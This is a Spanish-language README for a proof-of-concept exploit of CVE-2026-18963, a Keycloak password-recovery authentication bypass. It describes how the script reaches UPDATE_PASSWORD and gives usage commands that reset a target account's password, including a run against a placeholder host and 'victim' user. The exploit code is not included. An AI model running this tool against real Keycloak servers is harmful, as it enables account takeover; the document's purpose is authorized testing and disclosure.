
Exploit de prueba de concepto para CVE-2026-18963, una omisión de autenticación en el flujo de recuperación de contraseña de Keycloak que permite restablecer la contraseña sin una verificación adecuada. Incluye un modo de demostración no destructivo.
Prueba de concepto para CVE-2026-18963, una vulnerabilidad en el flujo de «Olvidé mi contraseña» / selección de credenciales de Keycloak que permite a un atacante alcanzar el paso UPDATE_PASSWORD — y restablecer la contraseña de una cuenta objetivo — sin completar correctamente la verificación de identidad requerida (p. ej. sin un OTP/segundo factor válido).
El script impulsa el flujo íntegramente sobre HTTP (sin necesidad de navegador/Selenium):
tryAnotherWay.startSessionPolling() que utiliza la interfaz de Keycloak para mantener viva la sesión de autenticación.UPDATE_PASSWORD.Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación (pruebas de penetración que tengas contratadas, CTFs, tus propios entornos de laboratorio o divulgación coordinada de vulnerabilidades). Ejecutarla contra sistemas que no te pertenecen o para los que no tienes autorización escrita explícita es ilegal. El autor y los colaboradores no asumen ninguna responsabilidad por el uso indebido o los daños causados por esta herramienta.
Usa --stop-at-update-password para producir una prueba no destructiva (alcanzar UPDATE_PASSWORD sin enviar una nueva contraseña) siempre que sea suficiente para demostrar el problema.
requestsbeautifulsoup4git clone <this-repo-url>
cd POC
python -m venv .venv
source .venv/bin/activate # on Windows: .venv\Scripts\activate
pip install -r requirements.txt
python poc_cve_2026_18963_terminal.py \
--base-url http://localhost:8080 \
--realm master \
--client-id account \
--username admin \
--new-password "NewPassword123!"
| Flag | Default | Description |
|---|---|---|
--base-url | http://localhost:8080 | URL base de la instancia de Keycloak objetivo |
--realm | master | Realm objetivo |
--client-id | account | ID de cliente OIDC utilizado para iniciar el flujo de inicio de sesión |
--username | admin | Nombre de usuario objetivo |
--new-password | (obligatorio) | Contraseña que se establecerá para la cuenta objetivo |
--stop-at-update-password | desactivado | Detenerse una vez alcanzado UPDATE_PASSWORD, sin enviar una nueva contraseña (prueba no armada) |
--timeout | 10.0 | Tiempo de espera de las peticiones HTTP en segundos |
--output-dir | debug_http | Directorio donde se guarda cada respuesta HTML intermedia para depuración |
--insecure | desactivado | Deshabilitar la verificación de certificados TLS |
python poc_cve_2026_18963_terminal.py \
--base-url https://target.example.com \
--realm myrealm \
--username victim \
--new-password unused \
--stop-at-update-password
Cada respuesta HTTP intermedia se guarda en --output-dir (debug_http por defecto) como 01_login.html, 02_reset.html, ... para su revisión sin conexión. El script termina con código 0 en caso de éxito y 1 en caso de fallo, imprimiendo mensajes de progreso y diagnóstico en stdout.
Aurélien LOIE